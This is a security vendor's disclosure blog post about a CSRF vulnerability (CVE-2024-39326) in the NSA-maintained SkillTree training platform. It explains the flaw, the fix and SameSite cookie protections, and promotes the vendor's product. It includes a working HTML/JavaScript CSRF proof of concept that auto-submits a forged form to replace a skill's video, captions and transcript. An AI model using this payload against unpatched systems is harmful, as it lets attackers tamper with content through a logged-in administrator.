Contrast discovers CSRF vulnerability in NSA’s SkillTree training platform that allows attackers to modify content

Contrast Security Assess — Contrast’s Interactive Application Security Testing (IAST) Application Security (AppSec) technology — has uncovered a vulnerability in a training platform called SkillTree that’s maintained on GitHub by the National Security Agency (NSA). 

Why this matters: Recently, cybersecurity researchers have noticed that malicious actors increasingly have been using the GitHub open-source development platform to host malware. 

GitProtect — a backup and recovery software dedicated to the GitHub DevOps ecosystem — has compiled this regularly updated list of infamous GitHub-related incidents and threats. One of many examples it cites is a July 2023 cyberattack on GitHub customers in which bad actors impersonated a developer, created a GitHub account and convinced a victim to collaborate on a GitHub code repository. The repo contained malicious npm packages that infected the victim’s data with malware. 

Contrast probes popular, targeted GitHub repos

Given threats such as these, Contrast Security has been working on a project we’re calling AutoAssess. It entails hooking Contrast Security Assess into popular GitHub repositories to discover what security vulnerabilities it might find. 

Recently, the AutoAssess project led to the discovery of a cross-site request forgery (CSRF) vulnerability in SkillTree, a “micro-learning gamification platform supporting the rapid integration of a gamified tool training approach into new and existing applications.” The platform is maintained by the National Security Agency (NSA) and is used for training — similar to the videos many of us are required to watch every year to pass our employers’ compliance requirements for data privacy training, for example. The platform supports multiple training and integration options, which enables organizations to use SkillTree as an all-in-one training platform.

The vulnerability gives an attacker the ability to target a logged-in administrator of SkillTree’s Skills Service to modify the videos, captions and text of a skill. The severity of the Common Vulnerability and Exposure (CVE) — which was designated CVE-2024-39326 after Contrast Assess unearthed the weakness — is rated moderate. 

 Contrast discovered the CSRF on June 12 and informed the maintainers. As of July 2, they had completed and publicly released a patched version: skills-service package Version 2.12.6.  

Detailed CSRF vulnerability findings

A true positive: CSRF

This vulnerability was possible because the SkillTree application doesn’t contain any CSRF protections. 

Most endpoints aren’t susceptible because they use application/json: a JavaScript Object Notation (JSON) Multipurpose Internet Mail Extension (MIME) type. The MIME file format standard is a fundamental characteristic of a digital resource that influences its ability to be accessed and used over time. The application/json MIME, typically sent using AJAX, would be prevented from being sent in CSRF requests by the Same-Origin Policy (SOP). Under the SOP policy, a web browser permits scripts contained in a first web page to access data in a second web page, but only if both web pages have the same origin. 

Essential reading: OWASP’s CSRF Prevention Cheat Sheet¶

But while most endpoints were protected by using application/json, our integration tests showed multiple endpoints that used vulnerable content types and hence proved vulnerable to CSRF. As the graphic below shows, we found 50 pages that had state-changing operations without a unique transaction token that would have mitigated the vulnerability: 

How a CSRF could result:

• A request is made that is CSRFable (e.g., HTTP Method and Content Type). 
• There were no mitigations in place, e.g., no CSRF token.
• The request makes a State Change: For example, a bad actor could make a change to the database.

Anatomy of a CSRF exploit

One of the endpoints flagged is

/admin/projects/{projectname}/skills/{skillname}/video

This endpoint takes a multipart file, allowing the admin to upload a video or to upload a link to a video, as a task for users to watch along with a transcript and subtitles for the video.

@RequestMapping(value = "/projects/{projectId}/skills/{skillId}/video", method = [RequestMethod.POST, RequestMethod.PUT], produces = MediaType.APPLICATION_JSON_VALUE)

@ResponseBody

SkillVideoAttrs saveSkillVideoAttrs(@PathVariable("projectId") String projectId,

    @PathVariable("skillId") String skillId,

    @RequestParam(name = "file", required = false) MultipartFile file,

    @RequestParam(name = "videoUrl", required = false) String videoUrl,

    @RequestParam(name = "isAlreadyHosted", required = false, defaultValue = "false") Boolean isAlreadyHosted,

    @RequestParam(name = "captions", required = false) String captions,

    @RequestParam(name = "transcript", required = false) String transcript) {

    ...

}

1. Using the following HTML/JS CSRF attack generated by Burp, the web application penetration-testing tool:

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

    <form action="http://localhost:8080/admin/projects/testproject1/skills/testSkill/video" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="videoUrl" value="https&#58;&#47;&#47;github&#46;com&#47;ShatteredDisk&#47;rickroll&#47;raw&#47;master&#47;rickroll&#46;mp4" />

      <input type="hidden" name="captions" value="WEBVTT&#13;&#10;&#13;&#10;1&#13;&#10;00&#58;00&#58;00&#46;500&#32;&#45;&#45;&gt;&#32;00&#58;01&#58;00&#46;000&#13;&#10;CSRF&#32;is&#32;still&#32;an&#32;issue&#32;&#40;&#32;unless&#32;you&#32;use&#32;chrome&#32;&#41;&#33;" />

      <input type="hidden" name="transcript" value="CSRF&#32;is&#32;still&#32;an&#32;issue&#32;&#40;&#32;unless&#32;you&#32;use&#32;chrome&#32;&#41;" />

      <input type="submit" value="Submit request" />

    </form>

    <script>

      history.pushState('', '', '/');

      document.forms[0].submit();

    </script>

  </body>

</html>

… we can, by getting someone who is logged in as an admin to view the above HTML, modify a skill to upload a video.

 Original configuration for the video:

Sample video original:

2. While logged in as an admin, visit a web page containing the CSRF payload:

3. The video and caption are modified:

4. With the end result being that an attacker can modify content. A classic example of unexpected content swappage enabled by CSRF:

CSRF vulnerability now fixed

This vulnerability is fixed in Version 2.12.16 of Skill Tree. The fix uses Spring Security’s CSRF Protection, which follows the CSRF Token pattern to block CSRF attacks and thus properly mitigates this vulnerability.

Chrome’s Same-Site cookie protections

Honored by major browsers since its introduction in Chrome in 2016, the Same-Site cookie attribute helps mitigate CSRF attacks by controlling when cookies are sent across sites. The Same-Site flag has three settings:

Strict: This setting blocks the cookie from being sent in any cross-site request. It's suitable for highly sensitive sites like banking portals where external linking isn't necessary. However, it can break functionality for sites that rely on legitimate cross-site linking to log in to protected areas.

Lax: This setting allows the cookie to be sent with top-level navigation (e.g., clicking a link) from third-party sites but blocks it from being sent with requests that could change server state, like POST requests. This strikes a balance between security and user experience.

None: With this setting, the browser ignores the Same-Site attribute and sends the cookie with all requests, regardless of origin. However, to be secure, this setting also requires the cookie to be marked as "Secure" and sent only over HTTPS.

Case study: The SkillTree application

The SkillTree application doesn't explicitly set the Same-Site flag for its session cookie. However, users of Chrome are protected from the proof-of-concept CSRF attack. This is because Chrome, starting with Chrome 80 (February 2020), treats cookies without a Same-Site flag as if they had the "Lax'' setting. This prevents the session cookie from being sent with the malicious cross-site request, leading the SkillTree application to reject it.

PoC limitations

Project and skill name required

This attack requires knowledge of the skill and project name. However, these are known to any user of the Skill Service system, as they make up part of the URL.

There’s no shame in discovering vulnerabilities

Contrast Founder and Chief Technology Officer Jeff Williams points out that there’s no point in throwing rocks at the NSA over this. We’re all living in glass houses as it is, he says. “Healthy security means that you will find vulnerabilities and fix burpthem,” he notes. “This isn’t the story of a mistake. It’s the story of doing it right — by using great tools (Contrast) and fixing issues quickly. Nobody should be embarrassed by vulnerabilities. They should be embarrassed by failing to do basic blocking and tackling, suppressing discussion of security issues and keeping the public in the dark.”

Make zero days go away 

A CSRF attack occurs when a malicious web site, email, blog, instant message or program tricks an authenticated user's web browser into performing an unwanted action on a trusted site. If a target user is authenticated to the site, unprotected target sites cannot distinguish between legitimate authorized requests and forged authenticated requests.

Too often, CSRF vulnerabilities are neglected and don’t get fixed before code is released into production. Developers and Application Security (AppSec) teams focus on more advanced attacks that could lead to sensitive data exposure; as a result, CSRF vulnerabilities wind up not being remediated, leaving malicious actors opportunities for successful execution.

This is true because CSRF application attacks result only in state changes when successful, meaning that user data isn’t at risk. But even though a user's personal data is left unharmed, their personally identifiable information (PII), passwords and even money are still at risk. 

With the Contrast Runtime Security Platform, development teams can secure every line of code, as it continuously detects and prioritizes vulnerabilities and guides developers on how to eliminate risks — all with industry-leading accuracy, efficiency, scalability and coverage.

Automated, instrumented security detects the underlying vulnerability in applications. This means that Contrast will find the next application vulnerability, like this CSRF, before it becomes a disclosed CVE or major incident. 

When Contrast Assess analyzes applications, it’s just the first step of what Contrast calls secure from within. The Contrast Runtime Security Platform doesn’t just detect vulnerabilities in code. Our technology also keeps bad things from happening by blocking attacks in production. 

It does so by instrumenting the code as it loads at runtime, equipping it with security checks to make powerful functions safe against misuse by developers and abuse by attackers. That’s what we call “secure from within”: The platform both detects vulnerabilities and blocks attacks. 

Read more:

• What is CSRF?
• How Contrast ‘secures from within’ 
• Debunking IAST myths
• Interactive Application Security Testing (IAST) Benefits | 7 Advantages
• SAST, DAST, and IAST Security Testing

Request a “Secure from within” demo.